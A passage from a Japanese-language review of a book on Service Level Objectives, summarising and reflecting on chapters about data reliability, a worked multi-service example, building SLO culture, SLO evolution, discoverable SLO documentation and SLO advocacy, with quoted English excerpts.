Lineage)の管理は、特に重要な技術的課題です。複雑な分散システムにおいて、データの流れを追跡し、各段階でのSLOを管理するためには、高度なトレーシングシステムやメタデータ管理システムの実装が必要になるでしょう。この章を読んで、データサービスの信頼性は、単なるシステムの可用性や性能だけでなく、データそのものの品質や整合性にも深く関わることを強く認識しました。SREは、システムの運用だけでなく、データの品質管理にも深く関与し、ユーザーに信頼性の高いデータを提供するめの仕組みづくりに貢献する必要があります。同時に、データの信頼性を確保することの難しさも再認識しました。一度失われたデータの回復が困難であることを考えると、予防的なアプローチと、万が一の場合の回復メカニズムの両方を慎重に設計・実装する必要があります。総括すると、この章はデータサービスの信頼性に関する包括的かつ実践的なガイドを提供しています。13の属性に基づくアプローチは、データの信頼性を多面的に捉え、具体的なSLOの設定と測定方法を提示しています。また、データの系譜の重要性を強調することで、複雑な分散システムにおけるデータの信頼性管理の課題にも光を当てています。SREとして、この章から学んだアプローチを実践することで、より信頼性の高いデータサービスの設計と運用が可能になる確信しています。データの各属性に対する具体的なSLOの設定と、それらのトレードオフを考慮したシステム設計は、データサービスの品質向上に大きく貢献するでしょう。同時に、データの信頼性確保は継続的な取り組みであることを忘れてはいけません。技術の進化や新たなデータ利用形態の登場に応じて、常にアプローチを見直し、適応していく姿勢が重要です。最後に、本章の「We must reframe these conversations, and use SLOs to provide a supporting framework of quantitative measurement to help define the mechanisms by which we provide users with reliable data.」という言葉を再度強調したいと思います。この視点を持ちつつ、データの信頼性を客観的に測定・管理可能なものとし、ユーザーに真に価値のあるデータサービスを提供していくことが、SREとしての私たちの重要な役割だと感じました。この章で学んだデータ信頼性のアプローチは、SREの実践において中心的な役割を果たすものです。これらの概念と手法を日々の業務に積極的に取り入れていくことで、より信頼性の高いデータサービスの構築と、より効果的な組織運営に貢献できると確信しています。同時に、データ信頼性の確保は常に進化し続ける課題であり、新しい技術や方法論の登場に応じて、継続的に学習し、適応していく必要があることも忘れてはいけません。SREとして、この章から得られた知見を組織全体に浸透させ、データ中心の信頼性管理文化を醸成していくことが重要です。データの信頼性を定量的に管理することで、組織はより効果的にデータ品質を向上させ、ユーザーに価値あるサービスを提供することができます。実際に今後取り組む課題として、機械学習やAIを活用したデータサービスにおける信頼性の確保、プライバシーやデータ倫理の観点を含めたより包括的なデータ信頼性フレームワークの構築、そしてますます複雑化するデータエコシステムにおける効果的な信頼性管理手法の開発などが考えられます。これらの課題に取り組むことで、データサービスの信頼性はさらに向上し、ユーザーにとってより価値のあるサービスを提供できるようになるでしょう。Chapter 12. A Worked Example第12章「A Worked Example」は、SLO(Service Level Objectives)ベースのアプローチを実際のサービスに適用する具体的な例を提供しています。本章は、架空の会社「The Wiener Shirt-zel Clothing Company」を例に取り、複雑な多層サービスにSLOを適用する方法を詳細に解説しています。公開している資料だとIoTサービスにおけるSLIの設計とLUUPでの実践が良かったのでオススメです。 speakerdeck.com章の冒頭で、著者は次のように述べています:「While the other chapters in this part of the book have given you lots of detailed insight into specific aspects of an SLO-based approach to reliability, and Part I outlined and defined all of the concepts you need to get started, what we really haven\'t talked about yet is how all this might actually work for a multicomponent service—or how it might apply to an entire company or organization.」この言葉は、本章の目的が理論を実践に移す具体的な方法を示すことであることを明確にしています。実際のサービスにSLOを適用する際には、理論だけでは対処しきれない複雑な状況に直面することが多いからです。本章で特に印象的だったのは、サービスの成長に伴うアーキテクチャの変化とSLOの関係性についての解説です。著者は、単一のプログラマーのラップトップから始まったサービスが、どのように複雑な分散システムへと進化していったかを説明しています。Figure 12-3では、成長後のThe Wiener Shirt-zel Clothing Companyのアーキテクチャが示されており、Webアプリケーション、マイクロサービス、データベース、キャッシュ、CDN(Content Delivery Network)など、現代的なウェブサービスの典型的な構成要素が含まれています。この複雑なアーキテクチャに対して、著者は3つのユーザータイプ(外部顧客、内部サービス、内部ユーザー)に焦点を当て、それぞれのニーズに基づいたSLOの設定方法を解説しています。このアプローチはSLOが単なる技術的な指標ではなく、ユーザー体験に直結したものであるべきという本書の主張を実践的に示しています。例えば、外部顧客向けのウェブサイトのフロントページに関するSLOとして、著者は次のような例を挙げています:「99.9% of responses to our website will return a 2xx, 3xx, or 4xx HTTP code within 2,000 ms.」この SLO は、ユーザー体験(ページの読み込み速度)と技術的な指標(HTTP ステータスコード)を巧みに組み合わせています。著者は、この SLO が月間約43分のダウンタイムを許容することを説明し、これが合理的なトレードオフであることを示しています。内部サービス間の依存関係に関するSLOの設定について、著者は支払い処理マイクロサービスを例に挙げ、外部決済サービスのSLAとの関係を詳細に解説しています。Table 12-1では、ベンダーSLAと内部サービスのSLOの組み合わせによる結果が示されており、複数のサービスの信頼性がどのように全体の信頼性に影響するかを明確に表現しています。この analysis は、SREとして依存関係のあるサービスのSLOを設定する際に参考になります。内部ユーザー向けのサービスに関するSLOの設定については、デスクトップアプリケーションと内部Wikiの例が挙げられています。特に印象的だったのは、デスクトップアプリケーションのようなネットワークサービスではないものに対するSLOの設定方法です。著者は次のように述べています:「Remember, SLOs are about thinking about your users—and those users are not always millions of people on the internet. Sometimes they\'re three people in a marketing department.」この視点は、SLOが適用できる範囲が想像以上に広いことを示唆しており、SREの実践において重要です。最後に、プラットフォームとしてのサービス(この場合はコンテナプラットフォーム)に対するSLOの設定方法が解説されています。著者は、コンテナの ephemeral な性質を考慮したSLOの設定方法を提案しており、これは複雑な分散システムにおけるSLOの設定の難しさと重要性を示しています。技術的な観点からは、本章で提示されたSLOの例とその設定理由が参考になります。特に、サービス間の依存関係を考慮したSLOの設定方法や、ユーザー体験を直接反映したSLIの選び方は、実際のサービス運用に直接適用できる知見です。また、本章では、SLOの設定が単なる数値目標の設定ではなく、ユーザーのニーズ、技術的な制約、ビジネス目標のバランスを取る複雑なプロセスであることが強調されています。著者は次のように述べています:「SLO-based approaches give you a way to find out whether users are happy or not, even if this example doesn\'t fit all of the traditional trappings of the general discussions about SLOs. Always remember that it\'s the philosophies behind these approaches that are the most important, not having the slickest technology to use to perform complicated math against statistically derived SLIs.」この言葉は、SLOの本質が技術的な指標ではなく、ユーザー満足度の向上にあることを再認識させてくれます。本章を読んで、SLOの設定は、単にシステムの技術的な側面を監視することではなく、ユーザー体験とビジネス目標を常に意識しながら、サービス全体の信頼性を管理することだと改めて認識しました。同時に、SLOの適用範囲が想像以上に広いことも学びました。ネットワークサービスだけでなく、デスクトップアプリケーションや内部向けツールなど、あらゆる種類のサービスにSLOを適用できる可能性があることを知り、SREの実践の幅が大きく広がる感覚を得ました。総括すると、この章はSLOベースのアプローチを実際のサービスに適用する具体的な方法を提供しています。複雑な多層サービスにおけるSLOの設定方法、サービス間の依存関係の考慮、異なるユーザータイプに対するSLOの設定など、実践的で有用な知見が盛り込まれています。SREとして、この章から学んだアプローチを実践することで、より効果的なSLOの設定と運用が可能になると確信しています。特に、ユーザージャーニーを中心に据えたSLIの選定と、それに基づくSLOの設定は、多くのプロジェクトで有効に活用できるでしょう。同時に、本章で強調されているSLOの柔軟と進化の必要性も、実務上重要です。サービスの成長に伴い、アーキテクチャや顧客のニーズは変化していきます。そのため、SLOも常に見直し、適応させていく必要があります。今後の課題としては、より複雑な分散システムにおけるEnd-to-EndのSLO管理、マイクロサービスアーキテクチャにおけるサービス間の依存関係を考慮したSLOの自動調整、そしてAIや機械学習を活用したより高度なSLO予測モデルの開発などが考えられます。これらの課題に取り組むことで、SREの実践はさらに進化し、より効果的にビジネス価値を創出できるようになるでしょう。最後に、本章の「A lot of this book has been abstract, since SLO-based approaches are mostly philosophical. You might use a lot of math and numbers to help you gather data, but it\'s ultimately about using this data to engage humans to make decisions.」という言葉を再度強調したいと思います。この視点を持ちつつ、SLOを単なる数値目標ではなく、ユーザー満足度向上とビジネス成功のための戦略的ツールとして活用していくことが、SREとしての私たちの重要な役割だと感じました。この章で学んだ具体的なSLO設定のアプローチは、SREの実践において中心的な役割を果たすものです。これらの概念と手法を日々の業務に積極的に取り入れていくことで、より信頼性の高いサービスの構築と、より効果的な組織運営に貢献できると確信しています。同時に、SLOの設定と運用は常に進化し続けるプロセスであり、新しい技術や方法論の登場に応じて、継続的に学習し、適応していく必要があることも忘れてはいけません。SREとして、この章から得られた知見を組織全体に浸透させ、SLOを中心とした信頼性管理の文を醸成していくことが重要です。ユーザー体験を重視し、技術的な指標とビジネス目標のバランスを取りながら、継続的にサービスの信頼性を向上させていくことで、長期的にはユーザー満足度の向上とビジネス目標の達成につながると確信しています。Part III. SLO CulturePart IIIでは、SLO文化の構築と普及に焦点が当てられています。特に印象的だったのは、SLO Advocateの役割に関する章です。著者は、SLO導入の成功には技術的な実装以上のものが必要であり、組織文化の変革と深い理解が不可欠であることを強調しています。SLO Advocateの役割は、単なる技術的なエキスパートではなく、組織の変革者としての側面も持ちます。この役割を通じて、SREはより戦略的な立場に立ち、組織全体の信頼性文化の醸成に大きく貢献することができます。また、SLOの理解しやすさと発見可能性に関する章も有用でした。SLO定義文書の構造化、中央集中型のドキュメント管理、効果的なダッシュボードの設計など、SLOを組織全体で活用するための具体的な方法が詳細に解説されています。この部分から学んだ最も重要な教訓は、SLO文化の構築が継続的なプロセスであり、常に進化し続けるものだということです。技術の進化や組織の変化に応じて、SLOのアプローチも適応していく必要があります。SREとして、この継続的な改善プロセスをリードし、組織全体のアラインメントを図っていくことが重要です。Chapter 13. Building an SLO Culture第13章「Building an SLO Culture」は、SLO(Service Level Objectives)を組織文化に浸透させるための具体的な方法論を提示しています。本章は、SLOの技術的な実装だけでなく、組織全体でSLOを受け入れ、活用していくためのプロセスについて深く掘り下げています。 speakerdeck.com章の冒頭で、著者は次のように述べています:「It\'s one thing to understand and live by these principles yourself, but it\'s another to spread these ideas throughout your organization and get others working alongside you.」この言葉は、SLOの導入が単なる技術的な課題ではなく、組織文化の変革を伴う大きな挑戦であることを端的に表現しています。優れたSLOを設計しても、組織全体がそれを理解し、活用しなければ、その効果は限定的なものになってしまいます。本章で特に印象的だったのは、SLO文化の構築を段階的なプロセスとして捉えている点です。著者は以下の6つのステップを提示しています:賛同を得る(Get buy-in)SLO作業を優先する(Prioritize SLO work)SLOを実装する(Implement your SLOs)SLOを使用する(Use your SLOs)SLOを反復改善する(Iterate on your SLOs)他者にSLOの使用を提唱する(Advocate for others to use SLOs)このアプローチは、SLO導入の複雑さを認識しつつ、段階的に組織文化を変革していく方法を示しています。特に、最初のステップである「賛同を得る」ことの重要性が強調されている点が印象的でした。著者は次のように述べています:「Before anything can happen, people need to be in agreement about the value of SLOs. If your team doesn\'t value reliability, it\'s going to be hard for you to justify creating SLOs.」この指摘は、技術的な実装以前に、組織内でSLOの価値を共有することの重要性を強調しており、SREとして共感できる点でした。SLOの実装に関する部分で、著者は「Do it yourself」と「Assign it」の2つのアプローチを提示しています。これは、SLOの導入を推進する立場にある人間の役割について、重要な示唆を与えています。特に、「Do it yourself」アプローチについて、著者は次のように述べています:「Having read this book, you will likely be the most knowledgeable on the subject and the most driven to make the move to an SLO culture. Leading by example and making the work your priority will signal to others that you\'re committed to making this change.」この視点は、SREとしてSLO導入を推進する際の心構えとして重要だと感じました。SLOの使用に関する部分では、アラート、エラーバジェットの消費、余剰エラーバジェットの活用について詳細に解説されています。特に印象的だったのは、エラーバジェットの消費に関する以下の記述です:「If you find your applications are breaking SLOs and there\'s a lack of urgency to repair the situation, it might be a sign that you need to make some adjustments.」この指摘は、SLOが単なる数値目標ではなく、組織の優先順位を反映すべきものであることを強調しており、SLOの本質を理解する上で重要です。技術的な観点からは、本章ではSLOの実装や運用に関する具体的な方法論が提示されています。例えば、SLOドキュメントの作成、SLIの選定とモニタリングの実装、アラートの設定などについて、実践的なアドバイスが提供されています。これらの知見は、実際にSLOを導入する際に直接活用できる貴重な情報です。本章の結論部分で、著者は次のように述べています:「SLOs are a process, not a project. They won\'t stick overnight, but hopefully the content in this chapter has given you a better sense of how to circle back and iterate on these approaches until things begin to click.」この言葉は、SLO文化の構築が継続的な取り組みであることを強調しており、SREとしての長期的な視点の重要性を再認識させられました。SREとして、この章から学んだことを実践に移すためには、以下のようなアプローチが考えられます:組織内でSLOの価値を共有するためのワークショップや勉強会を定期的に開催する。小規模なプロジェクトからSLOの導入を始め、成功事例を作り出す。SLOの実装と運用のプロセスを文書化し、組織内で共有する。SLOの定期的な見直しと改善のサイクルを確立する。他のチームや部門にSLOの導入を提唱し、組織全体でのSLO文化の構築を目指す。技術的な観点からは、SLOの実装と運用を支援するツールやフレームワークの開発が重要になります。例えば、SLOドキュメントの管理システム、SLIデータの収集と分析のための基盤、エラーバジェットの計算と可視化のためのダッシュボードなどが考えられます。これらのツールを整備することで、SLO文化の定着をより効果的に支援できるでしょう。この章を読んで、SLOの導入は、単に技術的な指標を設定することではなく、組織全体の信頼性に対する考え方を変革することだと改めて認識しました。SREは、この文化変革の推進役として、技術的な知識だけでなく、組織内のコミュニケーションやチェンジマネジメントのスキルも求められることを強く感じました。総括すると、この章はSLO文化の構築に関する包括的かつ実践的なガイドを提供しています。SLOの技術的な側面だけでなく、組織文化の変革という大きな課題に正面から取り組んでり、SREにとって価値のある知見が盛り込まれています。SREとして、この章から学んだアプローチを実践することで、より効果的なSLO文化の構築が可能になると確信しています。特に、段階的なアプローチと継続的な改善の重要性は、大規模な組織変革を成功させる上で重要な指針となるでしょう。同時に、SLO文化の構築は長期的な取り組みであることを忘れてはいけません。技術の進化や組織の変化に応じて、常にアプローチを見直し、適応していく姿勢が重要です。最後に、本章の「This chapter should also remind you that at the end of the day, SLOs are about people. Creating a culture of SLOs is about making your users and your team happier.」という言葉を再度強調したいと思います。この視点を持ちつつ、技術的な指標と人間的な側面のバランスを取りながら、組織全体でSLO文化を構築していくことが、SREとしての私たちの重要な役割だと感じました。この章で学んだSLO文化構築のアプローチは、SREの実践において中心的な役割を果たすものです。これらの概念と手法を日々の業務に積極的に取り入れていくことで、より信頼性の高いサービスの構築と、より効果的な組織運営に貢献できると確信しています。同時に、SLO文化の構築は常に進化し続けるプロセスであり、新しい技術や方法論の登場に応じて、継続的に学習し、適応していく必要があることも忘れてはいけません。SREとして、この章から得られた知見を組織全体に浸透させ、SLOを中心とした信頼性管理の文化を醸成していくことが重要です。ユーザー体験を重視し、技術的な指標とビジネス目標のバランスを取りながら、継続的にサービスの信頼性を向上させていくことで、長期的にはユーザー満足度の向上とビジネス目標の達成につながると確信しています。Chapter 14. SLO Evolution第14章「SLO Evolution」は、SLO(Service Level Objectives)の進化と適応の重要性について深く掘り下げています。本章は、SLOが静的なものではなく、サービスの変化に合わせて常に進化し続ける必要があることを強調しています。「変化を嫌う人」を動かす:魅力的な提案が受け入れられない4つの理由作者:ロレン・ノードグレン,デイヴィッド・ションタル,船木 謙一(監修)草思社Amazon章の冒頭で、著者は次のように述べています:「Service level objectives work best when you\'re willing to let them change and grow as your service does.」この言葉は、SLOの本質が柔軟性と適応性にあることを端的に表現しています。サービスの成長や変化に合わせてSLOを調整することで、より適切な信頼性目標を維持できるからです。本章で特に印象だったのは、SLOの進化を促す様々な要因について詳細に解説している点です。著者は以下のような要因を挙げています:使用状況の変化(Usage Changes)依存関係の変化(Dependency Changes)障害による変化(Failure-Induced Changes)ユーザーの期待と要求の変化(User Expectation and Requirement Changes)ツールの変化(Tooling Changes)直感に基づく変化(Intuition-Based Changes)これらの要因は、SLOの進化が単なる数値の調整ではなく、サービスの全体的な状況を考慮した包括的なプロセスであることを示しています。特に、ユーザーの期待と要求の変化に関する部分が印象的でした。著者は次のように述べています:「The users that depend on your service may experience changes in their expectations over time.」この指摘は、SLOが単なる技術的な指標ではなく、ユーザー体験と密に結びついていることを強調しており、SREとして共感できる点でした。技術的な観点からは、本章では SLO の測定と計算に関する変更について詳細に解説されています。特に、メトリクスシステムの変更やデータの解像度、保持期間の変更がSLOに与える影響について、具体的な例が挙げられています。例えば、著者は次のように述べています「If you\'re using Prometheus to scrape your metrics endpoint for new data every 30 seconds, you\'ll have to revisit how you\'re calculating things if you change this to every 10 seconds or every 3 seconds.」この指摘は、SLOの計算が単純な数式ではなく、データ収集の方法や頻度にも大きく依存することを示しており、SREとして SLO を設計・運用する際の重要な考慮点だと感じました。本章では、SLO の変更プロセスについても詳細に解説されています。特に印象的だったのは、定期的な見直しの重要性を強調している点です。著者は次のように述べています:「In addition to all of what we\'ve covered so far, you also need to have scheduled revisits of your SLOs.」この指摘は、SLO が静的なものではなく、継続的な検証と改善が必要であることを強調しており、SRE の実践において重要な視点だと感じました。また、本章では「誤ったSLOの識別」についても言及されています。著者は、ユーザーの声を継続的に聞くことの重要性や、障害時の SLO の挙動を注視することの重要性を強調しています。これらの指摘は、SLOが単なる数値目標ではなく、ユーザー体験と実際のシステムの挙動を反映すべきものであることを改めて認識させてくれました。本章の結論部分で、著者は次のように述べています:「Service level objectives are exactly what they sound like—they\'re objectives, not agreements. They should be malleable, and they should change over time.」この言葉は、SLO の本質が柔軟性と適応性にあることを再確認させてくれます。SREとして、この視点は重要です。SLO を固定的なものとして扱うのではなく、常に変化し得るものとして捉え、サービスの進化に合わせて適切に調整していく必要があります。SREとして、この章から学んだことを実践に移すためには、以下のようなアプローチが考えられます:SLO の定期的な見直しプロセスを確立し、組織内で徹底する。サービスの変化(使用状況、依存関係、ユーザーの期待など)を常に監視し、SLO への影響を評価する。障害発生時に SLO の挙動を詳細に分析し、必要に応じて SLO の定義や計算方法を見直す。ユーザーフィードバックを継続的に収集し、SLO に反映させる仕組みを構築する。SLO の変更プロセスを文書化し、組織内で共有する。技術的な観点からは、SLO の進化を支援するツールやフレームワークの開発が重要になります。例えば、以下のようなものが考えられます:SLO の履歴を追跡し、変更の理由や影響を記録するシステムユーザーフィードバックと SLO の相関関係を分析するツール依存関係の変化が SLO に与える影響をシミュレートするツールSLO の変更が他のサービスに与える影響を予測するシステムこれらのツールを整備することで、SLO の進化プロセスをより効果的に管理し、サービスの信頼性向上につなげることができるでしょう。この章を読んで、SLO の管理は、単に数値目標を設定し監視することではなく、サービスの進化に合わせて継続的に SLO を適応させていくプロセスであることを強く認識しました。SRE は、この進化のプロセスを主導し、技術的な側面だけでなく、ビジネスの要求やユーザーの期待も考慮しながら、適切な SLO を維持していく責任があります。総括すると、この章は SLO の進化に関する包括的かつ実践的なガイドを提供しています。SLO が静的なものではなく、サービスの変化に応じて常に進化し続ける必要があることを強調し、その進化のプロセスを詳細に解説しています。SRE にとって、この知見は価値があり、より効果的な信頼性管理の実現につながるものです。SRE として、この章から学んだアプローチを実践することで、より柔軟で効果的な SLO 管理が可能になると確信しています。特に、定期的な見直しプロセスの確立と、ユーザーフィードバックの継続的な収集・反映は、多くのプロジェクトで即座に適用できる有用な知見です。同時に、SLO の進化は継続的なプロセスであることを忘れてはいけません。技術の進化や市場の変化に応じて、常にアプローチを見直し、適応していく姿勢が重要です。最後に、本章の「Services evolve over time, which means your SLOs should, too. Use the data they provide you to have better conversations and make better decisions.」という言葉を再度強調したいと思います。この視点を持ちつつ、SLO を静的な目標ではなく、サービスの進化を促進し、より良い意思決定を支援するツールとして活用していくことが、SREとしての私たちの重要な役割だと感じました。この章で学んだ SLO 進化のアプローチは、SRE の実践において中心的な役割を果たすものです。これらの概念と手法を日々の業務に積極的に取り入れていくことで、より信頼性の高いサービスの構築と、より効果的な組織運営に貢献できると確信しています。同時に、SLO の進化は常に継続するプロセスであり、新しい技術や方法論の登場に応じて、継続的に学習し、適応していく必要があることも忘れてはいけません。Chapter 15. Discoverable and Understandable SLOs第15章「Discoverable and Understandable SLOs」は、SLO(Service Level Objectives)の理解しやすさと発見可能性の重要性に焦点を当てています。本章は、SLOを組織全体で効果的に活用するためには、それらが容易に理解でき、かつ必要な時に迅速に見つけられることが不可欠であることを強調しています。達人プログラマー ―熟達に向けたあなたの旅― 第2版作者:David Thomas,Andrew Huntオーム社Amazon章の冒頭で、著者は次のように述べています:「An SLO-based approach to reliability works best when everyone is on the same page.」この言葉は、SLOの成功が組織全体の共通理解に依存していることを端的に表現しています。この視点は重要だと感じました。SLOが技術チームだけでなく、ビジネス側の人々にも理解され、活用されることで、より効果的な信頼性管理が可能になるからです。本章で特に印象的だったのは、SLO定義文書の重要性とその構成要素についての詳細な解説です。著者は、SLO定義文書に含めるべき要素として以下を挙げています:オーナーシップ承認者定義のステータスサービス概要SLO定義とステータス根拠レビュースケジュールエラーバジェットポリシー外部リンクこれらの要素を含めることで、SLO定義文書は単なる技術的な指標の記録ではなく、サービスの信頼性に関する包括的な情報源となります。特に、オーナーシップと承認者の明確化は、SLOの管理責任を明確にし、組織全体での合意形成を促進する上で重要だと感じました。また、本章では SLO の発見可能性を高めるための方法についても詳しく解説されています。著者は、中央集中型のドキュメントリポジトリの重要性を強調し、Wikiシステムやドキュメントのコード化(Documentation-as-code)などの具体的な方法を提案しています。特印象的だったのは、ドキュメントの自動スキャンと集約を行うカスタムツールの開発に関する提案です。これは、SLO定義の最新性を保ち、組織全体での可視性を高める上で効果的なアプローチだと感じました。技術的な観点からは、本章のダッシュボードに関する解説が有用でした。著者は、効果的なSLOダッシュボードに含めるべき要素として以下を挙げています:現在のステータスSLI違反のグラフバーンダウングラフエラーバジェットのステータスSLO定義文書へのリンク本章の結論部分で、著者は次のように述べています:「Reliability requires people to know what\'s going on, and SLOs provide a clear, customer-centric picture that speaks a thousand words.」この言葉は、SLOの本質が単なる技術的な指標ではなく、組織全体で共有される信頼性に関する共通言語であることを強調しています。SREとして、この視点は重要です。SLOを技術チームだけのものではなく、組織全体で活用される道具として位置づけることで、より効果的な信頼性管理が可能になります。SREとして、この章から学んだことを実践に移すためには、以下のようなアプローチが考えられます:組織全体で統一されたSLO定義文書のテンプレートを作成し、導入する。SLO定義文書を集中管理するためのリポジトリを構築し、組織内での可視性を高める。SLO定義文書の自動スキャンと集約を行うツールを開発し、定義の最新性と一貫性を保つSLOステータスを可視化するダッシュボードを設計し、組織全体で共有する。SLOレポートの定期的な配信や会議での共有を通じて、SLOの認知度と理解度を高める。技術的な観点からは、本章で提案されているドキュメント管理やダッシュボード構築のアプローチを実装するための具体的な方法を検討する必要があります。例えば、以下のような技術的な課題に取り組む必要があるでしょう:ドキュメントのコード化(Documentation-as-code)を実現するためのツールチェインの構築SLO定義文書の自動スキャンと集約を行うスクリプトやアプリケーションの開発リアルタイムでSLOステータスを可視化するダッシュボードの設計と実装SLO定義文書とモニタリングシステムを連携させるAPIの開発これらの技術的な取り組みを通じて、SLOの理解しやすと発見可能性を高め、組織全体でのSLOの効果的な活用を促進することができます。この章を読んで、SLOの管理は単なる技術的な指標の設定と監視ではなく、組織全体での共通理解を促進し、信頼性に関する意思決定を支援するものだと再認識しました。SREは、SLOの理解しやすさと発見可能性を高めるためのインフラストラクチャとプロセスを構築・維持する重要な役割を担っています。この章は、SLOの理解しやすさと発見可能性に関する包括的かつ実践的なガイドを提供しています。具体的には:SLO定義文書の構造化中央集中型のドキュメント管理効果的なダッシュボードの設計これらの方法は、SLOを組織全体で活用するための具体的なアプローチとして詳細に解説されています。SREとして、これらのアプローチを実践することで、SLOをより組織に浸透させ、効果的に活用することが可能になります。特に、SLO定義文書の標準化とその中央管理、そしてリアルタイムのダッシュボード提供は、多くの組織で即座に適用できる有用な施策です。同時に、SLOの理解しやすさと発見可能性の向上は継続的なプロセスであることを認識することが重要です。組織の成長や技術の進化に応じて、常にアプローチを見直し、改善していく必要があります。本章の「SLOs provide a clear, customer-centric picture that speaks a thousand words.」という言葉は、SLOの本質を捉えています。SLOを組織全体で共有される信頼性の共通言語として位置づけ、継続的に改善していくことがSREの重要な役割です。これらの概念と手法を日々の業務に積極的に取り入れることで、より効果的な信頼性管理と組織全体での信頼性文化の醸成に貢献できます。ユーザー体験を重視し、技術的な指標とビジネス目標のバランスを取りながら、継続的にサービスの信頼性を向上させていくことで、長期的にはユーザー満足度の向上とビジネス目標の達成につながるでしょう。Chapter 16. SLO Advocacy第16章「SLO Advocacy」は、SLO(Service Level Objectives)の導入と普及を組織全体で推進するためのアプローチについて詳細に解説しています。本章は、SLO導入の成功には単なる技術的な実装以上のものが必要であり、組織文化の変革と深い理解が不可欠であることを強調しています。スタッフエンジニア マネジメントを超えるリーダーシップ作者:Will Larson日経BPAmazon著者は、SLO Advocateの役割を「組織が成功裏にSLOを実装するのを支援すること」と定義し、この役割には深い技術的知識だけでなく、リーダーシップスキルや組織全体とのコミュニケーション能力が求められることを指摘しています。特に印象的だったのは、「あなたの人間関係スキルとリーダーシップスキルは、の旅の中で極めて重要になるでしょう。あなたは自分のビジョンを他者に納得させ、彼らに必要な知識を教え、前向きなエネルギーを生み出して彼らを鼓舞し、SLO採用の成功を推進する必要があります」という一節です。この言葉は、SLO導入が単なる技術的な課題ではなく、組織全体の文化と意識の変革を必要とする大きな挑戦であることを端的に表現しています。本章は、SLO導入のプロセスを「Crawl(這う)」「Walk(歩く)」「Run(走る)」の3つのフェーズに分けて説明しています。この段階的なアプローチは、大規模な組織変革を成功させるための効果的な戦略です。Crawlフェーズでは、SLO Advocateとしての基盤作りに焦点を当てています。このフェーズでは、自己学習、支援アーティファクトの作成、組織内のリーダーやチームとの連携、最初トレーニングセッションの実施などが含まれます。特に重要なのは、SLOの「セールスピッチ」の準備です。著者は、「エレベーターで会社のCEOに会ったとき、彼らの注目を数秒しか得られないとしたら、あなたは何を言いますか?」という質問を投げかけ、異なる聴衆に対してSLOの価値を簡潔に説明できることの重要性を強調しています。技術的な観点からは、Crawlフェーズでのドキュメントの重要性が強調されています。著者は、1ページの戦略文書、SLOの高レベルな定義、FAQ、SLO定義のステップバイステップガイド、SLI収集のための計装ガイド、ユースケースなど、様々な文書の作成を推奨しています。これらのドキュメントは、組織全体でSLOの理解を深め、実装を促進する上で重要な役割を果たします。Walkフェーズでは、SLO導入の範囲を拡大し、より多くのチームを巻き込んでいきます。このフェーズでは、早期採用者との協力、成功事例の共有、トレーニングプログラムの拡大、コミュニケーション方法の改善などが重要になります。著者は、「サービスは時間とともに進化するもので、SLOも同様です。SLOが提供するデータを活用して、より良い対話を行い、より良い決定を下しましょう」と述べ、SLOが静的なものではなく、サービスの進化に合わせて継続的に調整されるべきものであることを強調しています。技術的には、Walkフェーズでのケーススタディライブラリの作成が重要です。著者は、「様々なサービスタイプのSLO実装例を持つことで、多くのチームを支援できるでしょう」と述べています。これは、異なるタイプのサービス(リクエスト/レスポンス、パイプライン、継続的計算など)に対するSLO実装の具体的な例を提供することで、他のチームがSLO導入を進める際の参考になることを示唆しています。Runフェーズでは、SLO実装が組織全体に広がり、すべてのチームがある程度のSLO成熟度に達している状態を想定しています。このフェーズでの主な活動には、ケーススタディライブラリの共有、SLOエキスパートのコミュニティ作成、プラットフォームの改善、アドボカシープロセスの改善などが含まれます。著者は、「SLOの定義と実装は、信頼性を向上させるための最初のステップにすぎません。ゲームチェンジャーは、実際にSLOをエンジニアリングプラクティスの一部として使用し、サービスの品質と運用の卓越性を推進することです」と強調しています。技術的な観点からは、Runフェーズでの継続的な改善の要性が強調されています。著者は、プラットフォームレベルの改善、定期的なSLOレビュー、サービス品質レビュー、SLO実装プロセスのディープダイブなど、様々な改善活動を提案しています。これらの活動は、SLOの効果を最大化し、組織全体の信頼性文化を強化するために不可欠です。本章の結論部分で、著者は次のように述べています:「進歩は変化なしには不可能であり、自分の考えを変えられない人は何も変えることができません」この言葉は、SLO Advocateの役割が単にSLOを実装することではなく、組織全体の文化を変革することであることを再確認させてくれます。SREとしてこの章から学んだ最も重要な教訓は、SLO導入の成功には技術的な実装以上のものが必要だということです。組織文化の変革、効果的なコミュニケーション、継続的な学と改善が不可欠です。また、SLO Advocateの役割が、技術的なエキスパートであると同時に、変革のリーダーでもあることを強く認識しました。この章の内容を実践に移すためには、以下のようなアプローチが考えられます:組織内でSLOの価値を共有するためのワークショップや勉強会を定期的に開催する。SLO導入のための包括的なドキュメントを作成し、組織全体で共有する。早期採用者との協力を通じて、様々なサービスタイプのSLO実装例(ケーススタディ)を作成し、ライブラリ化する。SLOトレーニングプログラムを確立し、他のトレーナーを育成して規模を拡大する。SLOエキスパートのコミュニティを構築し、組織全体でのSLO導入を支援する体制を整える。定期的なSLOレビューとサービス品質レビューを実施し、継続的改善を図る。技術的な観点からは、SLO実装を支援するためのツールやフレームワークの開発が重要になります。例えば、以下のようなものが考えられます:SLO定義とSLI収集を自動化するツールリアルタイムでSLOの状態を可視化するダッシュボードSLOベースのアラート設定を容易にするシステムSLOデータを分析し、改善提案を生成する機械学習モデルこれらのツールを整備することで、SLO導入のプロセスを効率化し、組織全体での採用を加速することができるでしょう。この章はSLO Advocateの役割と責任について包括的かつ実践的なガイダンスを提供しています。SLO導入と管理の成功には、技術的な知識だけでなく、組織全体を巻き込み、文化を変革する能力が必要であることが明確に示されています。SREとして、この章から学んだアプローチを実践することで、より効果的なSLO導入が可能になり、組織全体のパフォーマンス向上につながると確信しています。特に重要な点は:段階的なアプローチ(Crawl, Walk, Run)継続的な改善と適応SLOを組織全体で共有される信頼性の共通言語として位置づけること本章の「SLOは、ユーザー中心の明確な全体像を提供し、千の言葉を語るものです」という言葉は、SLOの本質を捉えています。SLO Advocateの役割は、技術的なエキスパートであると同時に、組織の変革者でもある点でやりがいがあります。この役割を通じて、SREはより戦略的な立場に立ち、組織全体の信頼性文化の醸成に大きく貢献できます。この役割には技術的スキルだけでなく、コミュニケーション能力やリーダーシップスキルの向上も求められます。最後に、SLOを中心とした信頼性管理の文化を醸成することが重要です。ユーザー体験を重視し、技術的な指標とビジネス目標のバランスを取りながら、継続的にサービスの信頼性を向上させていくことで、長期的にはユーザー満足度の向上とビジネス目標の達成につながります。これらの概念と手法を日々の業務に積極的に取り入れ、常に学習し適応していくことが、SREとしての私たちの重要な役割です。Chapter 17. Reliability Reporting第17章「Reliability Reporting」は、SLO(Service Level 